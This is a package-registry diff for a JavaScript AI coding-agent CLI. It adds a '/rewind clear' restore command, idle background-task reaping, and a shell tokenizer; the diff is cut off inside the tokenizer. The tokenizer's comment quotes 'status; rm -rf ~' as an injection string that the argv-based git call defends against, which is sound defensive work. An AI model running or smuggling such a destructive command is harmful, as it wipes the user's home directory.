chainlesschain 0.162.122 → 0.162.124
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/src/assets/web-panel/.build-hash +1 -1
- package/src/assets/web-panel/assets/AIOps-BsDJlD_l.js +1 -0
- package/src/assets/web-panel/assets/{ActionButton-Bqvaz1Yj.js → ActionButton-COjZZKWG.js} +1 -1
- package/src/assets/web-panel/assets/Analytics-4ZDZE7lc.js +3 -0
- package/src/assets/web-panel/assets/{AppLayout-cs0TRZya.js → AppLayout-CYH5k2Rp.js} +5 -5
- package/src/assets/web-panel/assets/Audit-BKlFbLdl.js +1 -0
- package/src/assets/web-panel/assets/Backup-CiX61Qc2.js +1 -0
- package/src/assets/web-panel/assets/{BaseInput-4qhQiJfI.js → BaseInput-CDxIQokd.js} +1 -1
- package/src/assets/web-panel/assets/{Chat-DUFX3Mv4.js → Chat-CaKgdRab.js} +6 -6
- package/src/assets/web-panel/assets/ChatBubbleRenderer-DgvpwU5o.js +1 -0
- package/src/assets/web-panel/assets/{Checkbox-C4eyD_nB.js → Checkbox-CjiWfu4s.js} +1 -1
- package/src/assets/web-panel/assets/Codegen-tKWGzajw.js +1 -0
- package/src/assets/web-panel/assets/{Col-3eHStfvJ.js → Col-ZKWREyNs.js} +1 -1
- package/src/assets/web-panel/assets/{Community-DFbKjEgh.js → Community-CmLuPBUU.js} +1 -1
- package/src/assets/web-panel/assets/{Compact-D5str1h-.js → Compact-DqknM98n.js} +1 -1
- package/src/assets/web-panel/assets/Compliance-PZw0aBLI.js +1 -0
- package/src/assets/web-panel/assets/{Cowork-Cdliboj6.js → Cowork-Dp29kHsC.js} +2 -2
- package/src/assets/web-panel/assets/{Cron-Bfmwl6iZ.js → Cron-zmEJAetz.js} +2 -2
- package/src/assets/web-panel/assets/Crosschain-Sb-uM7Ty.js +1 -0
- package/src/assets/web-panel/assets/{DID-xqi72kjo.js → DID-D_UFNzJ5.js} +2 -2
- package/src/assets/web-panel/assets/{Dashboard-4l68QdSQ.js → Dashboard-Btag698v.js} +2 -2
- package/src/assets/web-panel/assets/{Dropdown-C2wsZOdn.js → Dropdown-CH7l3KCs.js} +1 -1
- package/src/assets/web-panel/assets/EmailListRenderer-Bud2M3XX.js +1 -0
- package/src/assets/web-panel/assets/{FamilyGuardDashboard-CHK5rapA.js → FamilyGuardDashboard-Bd2_8uME.js} +1 -1
- package/src/assets/web-panel/assets/Federation-1jhstF5P.js +1 -0
- package/src/assets/web-panel/assets/{FormItemContext-lLOEHvAb.js → FormItemContext-CpSH464Y.js} +1 -1
- package/src/assets/web-panel/assets/{GenericCardRenderer-CaDh2XiY.js → GenericCardRenderer-CANo8O-y.js} +1 -1
- package/src/assets/web-panel/assets/{Git-B9SmGPMU.js → Git-hvuZVoD3.js} +2 -2
- package/src/assets/web-panel/assets/Governance-BQrWksKt.js +1 -0
- package/src/assets/web-panel/assets/Inference-jEBTp12v.js +1 -0
- package/src/assets/web-panel/assets/KnowledgeGraph-tDiV2taf.js +1 -0
- package/src/assets/web-panel/assets/Logs-DDkTnedu.js +2 -0
- package/src/assets/web-panel/assets/Marketplace-9Yi32avt.js +1 -0
- package/src/assets/web-panel/assets/{McpTools-Dxlypa0R.js → McpTools-Qx78XyOT.js} +5 -5
- package/src/assets/web-panel/assets/{Memory-BxBHR7eW.js → Memory-CXYDO1oT.js} +2 -2
- package/src/assets/web-panel/assets/MobileBridge-MfUfkHA0.js +1 -0
- package/src/assets/web-panel/assets/{MobileProjects-59gyfK6T.js → MobileProjects-DEDbWNIk.js} +1 -1
- package/src/assets/web-panel/assets/{Mtc-2YBBawFi.js → Mtc-Dwa_vlR8.js} +2 -2
- package/src/assets/web-panel/assets/{MtcAudit-DczAeHfM.js → MtcAudit-DAVkxhJv.js} +2 -2
- package/src/assets/web-panel/assets/{Multisig-CPxyt7a-.js → Multisig-C3upmgPN.js} +3 -3
- package/src/assets/web-panel/assets/NLProgramming-DO3CZ0_z.js +1 -0
- package/src/assets/web-panel/assets/{Notes-tHRMLOQ3.js → Notes-B1Oy3FbC.js} +4 -4
- package/src/assets/web-panel/assets/{NotificationSettings-DxIYUWPW.js → NotificationSettings-Bs4-Fc6b.js} +1 -1
- package/src/assets/web-panel/assets/OrderTableRenderer-CEy1pIeq.js +1 -0
- package/src/assets/web-panel/assets/Organization-D4cJ1UNo.js +4 -0
- package/src/assets/web-panel/assets/{Overflow-DrdVw_fC.js → Overflow-fdzvlF7x.js} +1 -1
- package/src/assets/web-panel/assets/{P2P-CMBYxejX.js → P2P-Y13PwXBA.js} +2 -2
- package/src/assets/web-panel/assets/PdhVaultBrowser-Ck1zCLe6.js +7 -0
- package/src/assets/web-panel/assets/Permissions-CvEXP6LC.js +4 -0
- package/src/assets/web-panel/assets/{PersonalDataHub-nuqNTK2w.js → PersonalDataHub-JeP7IWMW.js} +3 -3
- package/src/assets/web-panel/assets/Pipeline-BZ7wRzG1.js +1 -0
- package/src/assets/web-panel/assets/Privacy-BJ6qj9Hv.js +1 -0
- package/src/assets/web-panel/assets/{ProjectInit-hCWXNnGJ.js → ProjectInit-DeWd9UcS.js} +2 -2
- package/src/assets/web-panel/assets/ProjectSettings-DUpVuU9F.js +2 -0
- package/src/assets/web-panel/assets/{Projects-C6l6z4Mo.js → Projects-y1WbI337.js} +1 -1
- package/src/assets/web-panel/assets/{Providers-kEifEWLb.js → Providers-DECW00ek.js} +1 -1
- package/src/assets/web-panel/assets/{QuickAsk-B6oLUYKR.js → QuickAsk-Dl-pK9Io.js} +1 -1
- package/src/assets/web-panel/assets/Recommend-Bju04wTd.js +1 -0
- package/src/assets/web-panel/assets/Reputation-BUPa3nEk.js +1 -0
- package/src/assets/web-panel/assets/{Row-W6LSmdzh.js → Row-WYqqaq_5.js} +1 -1
- package/src/assets/web-panel/assets/{RssFeed-DJi97lWh.js → RssFeed-iyQT5q9l.js} +3 -3
- package/src/assets/web-panel/assets/Search-CrfwJF0R.js +1 -0
- package/src/assets/web-panel/assets/{Security-BtawKhmm.js → Security-c4Jxf5Ih.js} +4 -4
- package/src/assets/web-panel/assets/{Services-BdCe11of.js → Services-CRuisolj.js} +2 -2
- package/src/assets/web-panel/assets/{Skeleton-C_wcDxpN.js → Skeleton-CCnzJkb-.js} +1 -1
- package/src/assets/web-panel/assets/{Skills-n2GgEfQ1.js → Skills-CZURCwZg.js} +1 -1
- package/src/assets/web-panel/assets/Sla-CrMzaEi2.js +1 -0
- package/src/assets/web-panel/assets/SpeechSettings-jTDOM5eY.js +1 -0
- package/src/assets/web-panel/assets/{SyncSettings-BBbldyeR.js → SyncSettings-CJWVtd87.js} +2 -2
- package/src/assets/web-panel/assets/{Tasks-DMkBOCW-.js → Tasks-61lrQ_lS.js} +1 -1
- package/src/assets/web-panel/assets/Templates-Cg-iF2g1.js +1 -0
- package/src/assets/web-panel/assets/Tenant-DrDv1FFc.js +1 -0
- package/src/assets/web-panel/assets/Terminal-CP15hcNS.js +3 -0
- package/src/assets/web-panel/assets/{TimelineRenderer-Drf_B0al.js → TimelineRenderer-Sl5uXrkN.js} +1 -1
- package/src/assets/web-panel/assets/Tokens-yRIZTVsR.js +1 -0
- package/src/assets/web-panel/assets/{Trigger-CNUB_qRQ.js → Trigger-BLCQEOF2.js} +1 -1
- package/src/assets/web-panel/assets/Trust-D5xq8z6s.js +1 -0
- package/src/assets/web-panel/assets/{UkeySign-7o1O51qV.js → UkeySign-Dwp0zXQ6.js} +1 -1
- package/src/assets/web-panel/assets/{VideoEditing-Ccb1cTxo.js → VideoEditing-CIHA55Sx.js} +1 -1
- package/src/assets/web-panel/assets/Wallet-Hjajvnto.js +4 -0
- package/src/assets/web-panel/assets/WebAuthn-DqSURUvI.js +5 -0
- package/src/assets/web-panel/assets/{WorkflowEditor-BcFvWc2d.js → WorkflowEditor-B5bHRwUG.js} +1 -1
- package/src/assets/web-panel/assets/{chat-CPvCSHY4.js → chat-DsheLKkG.js} +1 -1
- package/src/assets/web-panel/assets/{colors-Ca7MoLtb.js → colors-CST2UkgL.js} +1 -1
- package/src/assets/web-panel/assets/community-parser-Cuyslaku.js +3 -0
- package/src/assets/web-panel/assets/{compact-item-B9AUAVCQ.js → compact-item-yqEoy1L7.js} +1 -1
- package/src/assets/web-panel/assets/{createContext-CnMJHqHw.js → createContext-Jwp78HFY.js} +1 -1
- package/src/assets/web-panel/assets/devWarning-C8to6gQk.js +1 -0
- package/src/assets/web-panel/assets/{hasIn-Bevd8pXd.js → hasIn-CVS5mFEP.js} +1 -1
- package/src/assets/web-panel/assets/{index-gR1xGRvy.js → index-AnW25bEq.js} +1 -1
- package/src/assets/web-panel/assets/{index-B3zlqc60.js → index-BCHAUdel.js} +1 -1
- package/src/assets/web-panel/assets/{index-BzmhHe0m.js → index-BLTUVd0V.js} +1 -1
- package/src/assets/web-panel/assets/{index-BM1tI3g5.js → index-BeblNJDH.js} +1 -1
- package/src/assets/web-panel/assets/{index-CAKYScOz.js → index-BuI27WSx.js} +1 -1
- package/src/assets/web-panel/assets/{index-PidVLx0u.js → index-BzetOasL.js} +1 -1
- package/src/assets/web-panel/assets/{index-Dnk8TOm3.js → index-C0FZScMe.js} +1 -1
- package/src/assets/web-panel/assets/{index-CvhLkwFR.js → index-C130LLPq.js} +1 -1
- package/src/assets/web-panel/assets/{index-0DtNS6oi.js → index-C8rq85gu.js} +1 -1
- package/src/assets/web-panel/assets/{index-BUlsrbu2.js → index-CDAPnZUs.js} +1 -1
- package/src/assets/web-panel/assets/{index-HdGuA1pS.js → index-CIE2n8k_.js} +1 -1
- package/src/assets/web-panel/assets/{index-ecThTNhE.js → index-CRBbVS43.js} +1 -1
- package/src/assets/web-panel/assets/{index-DW3rTBy_.js → index-CSBPc-sI.js} +1 -1
- package/src/assets/web-panel/assets/{index-C5i4gKvN.js → index-CTd3lDxp.js} +1 -1
- package/src/assets/web-panel/assets/index-CUWj5L2s.js +1 -0
- package/src/assets/web-panel/assets/{index-B619_m_T.js → index-ChRL6rgA.js} +1 -1
- package/src/assets/web-panel/assets/{index-tUD_CWx-.js → index-CjfN2CpJ.js} +1 -1
- package/src/assets/web-panel/assets/{index-BcRDjaEi.js → index-Cjig5i3a.js} +3 -3
- package/src/assets/web-panel/assets/{index-Ct3wP67S.js → index-Crk4KWLW.js} +1 -1
- package/src/assets/web-panel/assets/{index-p1rI3d66.js → index-CrlRa054.js} +1 -1
- package/src/assets/web-panel/assets/{index-DPk2HXTA.js → index-CtyEOGuj.js} +1 -1
- package/src/assets/web-panel/assets/{index-aB7GLimB.js → index-Cu6Ql64n.js} +1 -1
- package/src/assets/web-panel/assets/{index-BFkrnvs_.js → index-Cx_t5rWw.js} +1 -1
- package/src/assets/web-panel/assets/{index-ienIjr7_.js → index-Cy0dNzkp.js} +1 -1
- package/src/assets/web-panel/assets/{index-DAjYLhik.js → index-CzsKK0tQ.js} +1 -1
- package/src/assets/web-panel/assets/{index-CGEc6vlv.js → index-DDAigsel.js} +1 -1
- package/src/assets/web-panel/assets/index-DZfnYE6e.js +1 -0
- package/src/assets/web-panel/assets/{index-C3biz3RB.js → index-D_1b7uh6.js} +1 -1
- package/src/assets/web-panel/assets/{index-D9VR1tES.js → index-D_e9gwfn.js} +1 -1
- package/src/assets/web-panel/assets/{index-BGBbFzIJ.js → index-DbxAlpPC.js} +1 -1
- package/src/assets/web-panel/assets/{index-CVxhWXMd.js → index-De600Jjm.js} +1 -1
- package/src/assets/web-panel/assets/{index-2KMpdEzs.js → index-Dgyn8-wN.js} +1 -1
- package/src/assets/web-panel/assets/{index-CQKVKyjf.js → index-DiK4vSZa.js} +1 -1
- package/src/assets/web-panel/assets/{index-CtIv89mI.js → index-DpYn5v2k.js} +1 -1
- package/src/assets/web-panel/assets/{index-DTxmgfz2.js → index-DxaU_lza.js} +1 -1
- package/src/assets/web-panel/assets/{index-Cd62bwRd.js → index-Dxljh9Fu.js} +1 -1
- package/src/assets/web-panel/assets/{index-kUeSjyHt.js → index-R-VGFpi6.js} +1 -1
- package/src/assets/web-panel/assets/{index-BwDJvHfR.js → index-SjxCCf5h.js} +1 -1
- package/src/assets/web-panel/assets/{index-BV1U7tR6.js → index-diWkx2Wq.js} +1 -1
- package/src/assets/web-panel/assets/{initDefaultProps-dsKHYCPH.js → initDefaultProps-ClAjrsQ-.js} +1 -1
- package/src/assets/web-panel/assets/{motion-DdPCK2zh.js → motion-BalXv_60.js} +1 -1
- package/src/assets/web-panel/assets/{move-Bi0bmOjg.js → move-DMelzIW-.js} +1 -1
- package/src/assets/web-panel/assets/mtc-parser-CEQffxds.js +1 -0
- package/src/assets/web-panel/assets/{omit-DCrBiySU.js → omit-oxecfU3b.js} +1 -1
- package/src/assets/web-panel/assets/{pickAttrs-CcJuqfya.js → pickAttrs-DJ5F5M6x.js} +1 -1
- package/src/assets/web-panel/assets/{placementArrow-DFGuzth-.js → placementArrow-DdbKsant.js} +1 -1
- package/src/assets/web-panel/assets/{responsiveObserve-B_WDlgvI.js → responsiveObserve-BUuM5cmS.js} +1 -1
- package/src/assets/web-panel/assets/{slide-BSFabVgO.js → slide-DSV0ccvR.js} +1 -1
- package/src/assets/web-panel/assets/{statusUtils-CebvsGH8.js → statusUtils-B-6oLAXf.js} +1 -1
- package/src/assets/web-panel/assets/{styleChecker-CMuE7NWy.js → styleChecker-DdCAHtsZ.js} +1 -1
- package/src/assets/web-panel/assets/{useFlexGapSupport-RWGVgZNu.js → useFlexGapSupport-ZORkcoZd.js} +1 -1
- package/src/assets/web-panel/assets/{useFs-srxzzfG_.js → useFs-BFp46LoP.js} +1 -1
- package/src/assets/web-panel/assets/{usePersonalDataHub-B5OwxZuK.js → usePersonalDataHub-H7rxgbdW.js} +1 -1
- package/src/assets/web-panel/assets/{vnode-CXOEebAH.js → vnode-eIq4Tk0J.js} +1 -1
- package/src/assets/web-panel/assets/{zoom-DKNwqG2v.js → zoom-CTNrv8-H.js} +1 -1
- package/src/assets/web-panel/index.html +1 -1
- package/src/commands/ask.js +24 -1
- package/src/commands/init.js +5 -4
- package/src/commands/instinct.js +18 -5
- package/src/commands/mcp.js +30 -3
- package/src/commands/memory.js +18 -5
- package/src/gateways/http/envelope-http-server.js +17 -2
- package/src/gateways/terminal/PtyManager.js +15 -2
- package/src/gateways/ws/ws-server.js +20 -0
- package/src/gateways/ws/ws-session-gateway.js +16 -0
- package/src/harness/mcp-client.js +124 -6
- package/src/harness/worktree-isolator.js +20 -9
- package/src/lib/agent-core.js +3 -0
- package/src/lib/autonomous-agent.js +7 -6
- package/src/lib/chat-intent-service.js +4 -2
- package/src/lib/checkpoint-store.js +23 -0
- package/src/lib/credential-guard.js +291 -0
- package/src/lib/ensure-utf8.js +6 -1
- package/src/lib/git-integration.js +57 -1
- package/src/lib/hook-manager.js +15 -6
- package/src/lib/hook-runner.cjs +11 -1
- package/src/lib/interactive-planner.js +4 -3
- package/src/lib/json-schema-output.js +47 -0
- package/src/lib/learning/reflection-engine.js +4 -3
- package/src/lib/learning/skill-improver.js +4 -3
- package/src/lib/learning/skill-synthesizer.js +4 -3
- package/src/lib/mcp-client.js +1 -0
- package/src/lib/mcp-oauth.js +243 -24
- package/src/lib/mcp-serve.js +56 -6
- package/src/lib/orchestrator.js +4 -2
- package/src/lib/process-manager.js +31 -3
- package/src/lib/repl-completer.js +29 -0
- package/src/lib/repl-rewind.js +58 -0
- package/src/lib/repl-vim.js +13 -1
- package/src/lib/settings-hooks.cjs +12 -3
- package/src/lib/slot-filler.js +4 -3
- package/src/lib/sub-agent-context.js +6 -0
- package/src/lib/web-fetch.js +54 -3
- package/src/lib/workflow-engine.js +35 -11
- package/src/repl/agent-repl.js +52 -2
- package/src/runtime/agent-core.js +324 -26
- package/src/runtime/headless-stream.js +124 -17
- package/src/assets/web-panel/assets/AIOps-BmS46GrQ.js +0 -1
- package/src/assets/web-panel/assets/Analytics-BhCnMbKz.js +0 -3
- package/src/assets/web-panel/assets/Audit-AwLNQzvX.js +0 -1
- package/src/assets/web-panel/assets/Backup-BOglo5g6.js +0 -1
- package/src/assets/web-panel/assets/ChatBubbleRenderer-LWgyWUF_.js +0 -1
- package/src/assets/web-panel/assets/Codegen-B9SRqAqh.js +0 -1
- package/src/assets/web-panel/assets/Compliance-DDYPQDiG.js +0 -1
- package/src/assets/web-panel/assets/Crosschain-Bfo6RvSg.js +0 -1
- package/src/assets/web-panel/assets/EmailListRenderer-CWh_fKmI.js +0 -1
- package/src/assets/web-panel/assets/Federation-JpiE2iKR.js +0 -1
- package/src/assets/web-panel/assets/Governance-B3ODoSO2.js +0 -1
- package/src/assets/web-panel/assets/Inference-C_jP_nlz.js +0 -1
- package/src/assets/web-panel/assets/KnowledgeGraph-zYwypnwu.js +0 -1
- package/src/assets/web-panel/assets/Logs-D6owai5o.js +0 -2
- package/src/assets/web-panel/assets/Marketplace-umRB80w4.js +0 -1
- package/src/assets/web-panel/assets/MobileBridge-Car9kLtE.js +0 -3
- package/src/assets/web-panel/assets/NLProgramming-DvKJ8imu.js +0 -1
- package/src/assets/web-panel/assets/OrderTableRenderer-BMpVfQkg.js +0 -1
- package/src/assets/web-panel/assets/Organization-BBsie-kN.js +0 -4
- package/src/assets/web-panel/assets/PdhVaultBrowser-BBHzSaeq.js +0 -7
- package/src/assets/web-panel/assets/Permissions-W4kD06Cj.js +0 -4
- package/src/assets/web-panel/assets/Pipeline-DzCX3yHy.js +0 -1
- package/src/assets/web-panel/assets/Privacy-9ENAJQOC.js +0 -1
- package/src/assets/web-panel/assets/ProjectSettings--BzvEaxE.js +0 -2
- package/src/assets/web-panel/assets/Recommend-BIEMGN0q.js +0 -1
- package/src/assets/web-panel/assets/Reputation-D-9AEaRr.js +0 -1
- package/src/assets/web-panel/assets/Search-DOEB2utf.js +0 -1
- package/src/assets/web-panel/assets/Sla-D5WfrvLP.js +0 -1
- package/src/assets/web-panel/assets/SpeechSettings-D6qCWpan.js +0 -1
- package/src/assets/web-panel/assets/Templates-DbLImR1I.js +0 -1
- package/src/assets/web-panel/assets/Tenant-B0qM4w6Z.js +0 -1
- package/src/assets/web-panel/assets/Terminal-BjKUkiR1.js +0 -3
- package/src/assets/web-panel/assets/Tokens-DgCx2Bfa.js +0 -1
- package/src/assets/web-panel/assets/Trust-JQUTjXXI.js +0 -1
- package/src/assets/web-panel/assets/Wallet-EMf9MlLK.js +0 -4
- package/src/assets/web-panel/assets/WebAuthn-DOYoaCmi.js +0 -5
- package/src/assets/web-panel/assets/community-parser-CO25nZFt.js +0 -3
- package/src/assets/web-panel/assets/devWarning-vFgm_Ssk.js +0 -1
- package/src/assets/web-panel/assets/index-BGUjPh7h.js +0 -1
- package/src/assets/web-panel/assets/index-Cx-wP5XE.js +0 -1
- package/src/assets/web-panel/assets/mtc-parser-BbAbUB-9.js +0 -1
package/src/repl/agent-repl.js
CHANGED
|
@@ -628,6 +628,10 @@ export async function startAgentRepl(options = {}) {
|
|
|
628
628
|
// emits `checkpoint` events, so `/rewind <n>` can also restore files to the
|
|
629
629
|
// snapshot taken before that turn (Claude-Code rewind = code + conversation).
|
|
630
630
|
const _checkpointMarks = [];
|
|
631
|
+
// Most recent conversation stashed by `/clear`, so `/rewind clear` can bring
|
|
632
|
+
// it back (Claude-Code 2.1.191). Nulled on a context swap so a stash from one
|
|
633
|
+
// session can't be restored into another. { messages, marks } | null.
|
|
634
|
+
let _clearedConversation = null;
|
|
631
635
|
// Apply --output-style or the settings.json `outputStyle` default at startup.
|
|
632
636
|
try {
|
|
633
637
|
const { resolveOutputStyle } = await import("../lib/output-styles.js");
|
|
@@ -1150,6 +1154,8 @@ export async function startAgentRepl(options = {}) {
|
|
|
1150
1154
|
}
|
|
1151
1155
|
_vim = res;
|
|
1152
1156
|
if (res.message === "bell") process.stdout.write("\x07");
|
|
1157
|
+
else if (res.notice)
|
|
1158
|
+
process.stdout.write("\n" + chalk.gray(res.notice) + "\n");
|
|
1153
1159
|
_vimSync(res);
|
|
1154
1160
|
return;
|
|
1155
1161
|
}
|
|
@@ -1453,7 +1459,7 @@ export async function startAgentRepl(options = {}) {
|
|
|
1453
1459
|
` ${chalk.cyan("/export")} Save this conversation to a Markdown file (/export [path])`,
|
|
1454
1460
|
);
|
|
1455
1461
|
logger.log(
|
|
1456
|
-
` ${chalk.cyan("/rewind")} Rewind
|
|
1462
|
+
` ${chalk.cyan("/rewind")} Rewind to an earlier turn (double-Esc lists); ${chalk.cyan("/rewind clear")} restores a /clear`,
|
|
1457
1463
|
);
|
|
1458
1464
|
logger.log(
|
|
1459
1465
|
` ${chalk.cyan("/cd <dir>")} Change working directory mid-session (completion/memory follow)`,
|
|
@@ -1695,9 +1701,20 @@ export async function startAgentRepl(options = {}) {
|
|
|
1695
1701
|
}
|
|
1696
1702
|
|
|
1697
1703
|
if (trimmed === "/clear") {
|
|
1704
|
+
// Stash the conversation first so `/rewind clear` can restore it
|
|
1705
|
+
// (Claude-Code 2.1.191). A no-op /clear (nothing to stash) keeps any
|
|
1706
|
+
// existing restorable snapshot.
|
|
1707
|
+
const { snapshotClearedConversation } =
|
|
1708
|
+
await import("../lib/repl-rewind.js");
|
|
1709
|
+
const snap = snapshotClearedConversation(messages, _checkpointMarks);
|
|
1710
|
+
if (snap) _clearedConversation = snap;
|
|
1698
1711
|
messages.length = 1; // Keep system prompt
|
|
1699
1712
|
_checkpointMarks.length = 0; // checkpoint marks no longer map to anything
|
|
1700
|
-
logger.info(
|
|
1713
|
+
logger.info(
|
|
1714
|
+
snap
|
|
1715
|
+
? "Conversation cleared — run /rewind clear to restore it"
|
|
1716
|
+
: "Conversation cleared",
|
|
1717
|
+
);
|
|
1701
1718
|
prompt();
|
|
1702
1719
|
return;
|
|
1703
1720
|
}
|
|
@@ -1868,8 +1885,32 @@ export async function startAgentRepl(options = {}) {
|
|
|
1868
1885
|
renderTurnList,
|
|
1869
1886
|
pickCheckpointForTurn,
|
|
1870
1887
|
pruneMarksAfter,
|
|
1888
|
+
restoreClearedConversation,
|
|
1871
1889
|
} = await import("../lib/repl-rewind.js");
|
|
1872
1890
|
const arg = trimmed.slice("/rewind".length).trim();
|
|
1891
|
+
if (arg === "clear" || arg === "undo-clear") {
|
|
1892
|
+
// Restore the conversation stashed by /clear (Claude-Code 2.1.191).
|
|
1893
|
+
const r = restoreClearedConversation(
|
|
1894
|
+
messages,
|
|
1895
|
+
_checkpointMarks,
|
|
1896
|
+
_clearedConversation,
|
|
1897
|
+
);
|
|
1898
|
+
if (!r) {
|
|
1899
|
+
logger.error("Nothing to restore — no /clear has been run.");
|
|
1900
|
+
} else {
|
|
1901
|
+
_clearedConversation = r.newCleared;
|
|
1902
|
+
logger.log(
|
|
1903
|
+
chalk.green(
|
|
1904
|
+
`↺ restored ${r.restored} message(s) from before /clear` +
|
|
1905
|
+
(r.stashed
|
|
1906
|
+
? ` (current ${r.stashed} stashed — /rewind clear swaps back)`
|
|
1907
|
+
: ""),
|
|
1908
|
+
),
|
|
1909
|
+
);
|
|
1910
|
+
}
|
|
1911
|
+
prompt();
|
|
1912
|
+
return;
|
|
1913
|
+
}
|
|
1873
1914
|
if (!arg) {
|
|
1874
1915
|
logger.log(chalk.bold("\nRewind — pick a user turn (newest first):"));
|
|
1875
1916
|
logger.log(renderTurnList(listUserTurns(messages)));
|
|
@@ -1877,6 +1918,13 @@ export async function startAgentRepl(options = {}) {
|
|
|
1877
1918
|
? " (restores files to that point too — checkpoints are on)"
|
|
1878
1919
|
: " (conversation only — start with --checkpoint / git to also rewind files)";
|
|
1879
1920
|
logger.log(chalk.gray(`Usage: /rewind <n>${fileHint}`));
|
|
1921
|
+
if (_clearedConversation) {
|
|
1922
|
+
logger.log(
|
|
1923
|
+
chalk.gray(
|
|
1924
|
+
` /rewind clear — restore the ${_clearedConversation.messages.length} message(s) from before the last /clear`,
|
|
1925
|
+
),
|
|
1926
|
+
);
|
|
1927
|
+
}
|
|
1880
1928
|
} else {
|
|
1881
1929
|
const res = rewindToTurn(messages, arg);
|
|
1882
1930
|
if (!res) {
|
|
@@ -2081,6 +2129,7 @@ export async function startAgentRepl(options = {}) {
|
|
|
2081
2129
|
// a later /rewind restore files from the WRONG session's snapshot.
|
|
2082
2130
|
// Same reset /clear does on a context swap.
|
|
2083
2131
|
_checkpointMarks.length = 0;
|
|
2132
|
+
_clearedConversation = null; // stash belongs to the swapped-out session
|
|
2084
2133
|
logger.info(
|
|
2085
2134
|
`Resumed JSONL session ${sessionId} (${rebuilt.length} messages)`,
|
|
2086
2135
|
);
|
|
@@ -2098,6 +2147,7 @@ export async function startAgentRepl(options = {}) {
|
|
|
2098
2147
|
sessionId = existing.id;
|
|
2099
2148
|
// Drop the prior session's checkpoint marks (see JSONL branch).
|
|
2100
2149
|
_checkpointMarks.length = 0;
|
|
2150
|
+
_clearedConversation = null; // stash belongs to the swapped-out session
|
|
2101
2151
|
logger.info(
|
|
2102
2152
|
`Resumed session ${sessionId} (${parsed.length} messages)`,
|
|
2103
2153
|
);
|
|
@@ -16,7 +16,7 @@
|
|
|
16
16
|
|
|
17
17
|
import fs from "fs";
|
|
18
18
|
import path from "path";
|
|
19
|
-
import { execSync, spawn } from "child_process";
|
|
19
|
+
import { execSync, spawn, spawnSync } from "child_process";
|
|
20
20
|
import os from "os";
|
|
21
21
|
import sharedCodingAgentPolicy from "./coding-agent-policy.cjs";
|
|
22
22
|
import sharedShellPolicy from "./coding-agent-shell-policy.cjs";
|
|
@@ -218,6 +218,49 @@ export function killAllBackgroundShellTasks() {
|
|
|
218
218
|
return killed;
|
|
219
219
|
}
|
|
220
220
|
|
|
221
|
+
// Idle-reap tuning (Claude-Code 2.1.193 "automatic memory-pressure reaping for
|
|
222
|
+
// idle background shell commands"). A running task is a reap candidate when it
|
|
223
|
+
// has produced no output for BG_IDLE_REAP_MS AND the system is under memory
|
|
224
|
+
// pressure (free/total below BG_MEM_PRESSURE_RATIO). Conservative on purpose:
|
|
225
|
+
// idle-but-active tasks and a healthy machine are left alone, and the whole
|
|
226
|
+
// behaviour is off when CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP=1.
|
|
227
|
+
const BG_IDLE_REAP_MS = 5 * 60 * 1000; // 5 min of silence
|
|
228
|
+
const BG_MEM_PRESSURE_RATIO = 0.1; // free < 10% of total = pressure
|
|
229
|
+
|
|
230
|
+
/**
|
|
231
|
+
* Reap idle background shell tasks when the system is under memory pressure, so
|
|
232
|
+
* a forgotten `npm run dev` or a wedged build can't sit on memory indefinitely.
|
|
233
|
+
* No-op on a healthy machine (the pressure gate) or when disabled by env. Deps
|
|
234
|
+
* (now / freemem / totalmem / thresholds) are injectable for tests.
|
|
235
|
+
* @returns {string[]} ids of reaped tasks
|
|
236
|
+
*/
|
|
237
|
+
export function reapIdleBackgroundShellTasks(deps = {}) {
|
|
238
|
+
if (process.env.CLAUDE_CODE_DISABLE_BG_SHELL_PRESSURE_REAP === "1") return [];
|
|
239
|
+
const now = deps.now || Date.now;
|
|
240
|
+
const freemem = deps.freemem || os.freemem;
|
|
241
|
+
const totalmem = deps.totalmem || os.totalmem;
|
|
242
|
+
const idleMs = deps.idleMs != null ? deps.idleMs : BG_IDLE_REAP_MS;
|
|
243
|
+
const ratio =
|
|
244
|
+
deps.pressureRatio != null ? deps.pressureRatio : BG_MEM_PRESSURE_RATIO;
|
|
245
|
+
const total = totalmem();
|
|
246
|
+
const free = freemem();
|
|
247
|
+
if (!(total > 0) || free / total >= ratio) return []; // healthy → nothing to do
|
|
248
|
+
const t = now();
|
|
249
|
+
const reaped = [];
|
|
250
|
+
for (const task of _backgroundShellTasks.values()) {
|
|
251
|
+
if (task.status !== "running") continue;
|
|
252
|
+
const last = task.lastActivityAt || Date.parse(task.startedAt) || 0;
|
|
253
|
+
if (t - last < idleMs) continue; // still producing output recently
|
|
254
|
+
if (_killTask(task)) {
|
|
255
|
+
task.status = "reaped";
|
|
256
|
+
task.endedAt = new Date().toISOString();
|
|
257
|
+
task.error = "reaped: idle under memory pressure";
|
|
258
|
+
reaped.push(task.id);
|
|
259
|
+
}
|
|
260
|
+
}
|
|
261
|
+
return reaped;
|
|
262
|
+
}
|
|
263
|
+
|
|
221
264
|
// Foreground (synchronous) run_shell timeout. Configurable per-call via the
|
|
222
265
|
// optional `timeout` arg; defaults to 60s and is hard-capped at 10 min so a
|
|
223
266
|
// synchronous call can never wedge the loop indefinitely (use run_in_background
|
|
@@ -668,6 +711,50 @@ const IDE_DIFF_EDIT_TOOLS = new Set([
|
|
|
668
711
|
"edit_file_hashed",
|
|
669
712
|
]);
|
|
670
713
|
|
|
714
|
+
/**
|
|
715
|
+
* Quote-aware shell tokenizer (mirrors gateways/ws `tokenizeCommand`). The `git`
|
|
716
|
+
* tool runs the model-supplied command via argv (spawnSync, NO shell), so a
|
|
717
|
+
* string like `status; rm -rf ~` can't inject a second command through the
|
|
718
|
+
* shell — git just sees `status;` as an unknown subcommand. A quoted arg (e.g.
|
|
719
|
+
* a commit message) keeps its content because quotes are consumed here.
|
|
720
|
+
*/
|
|
721
|
+
export function tokenizeShellWords(input) {
|
|
722
|
+
const args = [];
|
|
723
|
+
let current = "";
|
|
724
|
+
let inDouble = false;
|
|
725
|
+
let inSingle = false;
|
|
726
|
+
let escape = false;
|
|
727
|
+
for (const ch of String(input || "")) {
|
|
728
|
+
if (escape) {
|
|
729
|
+
current += ch;
|
|
730
|
+
escape = false;
|
|
731
|
+
continue;
|
|
732
|
+
}
|
|
733
|
+
if (ch === "\\" && inDouble) {
|
|
734
|
+
escape = true;
|
|
735
|
+
continue;
|
|
736
|
+
}
|
|
737
|
+
if (ch === '"' && !inSingle) {
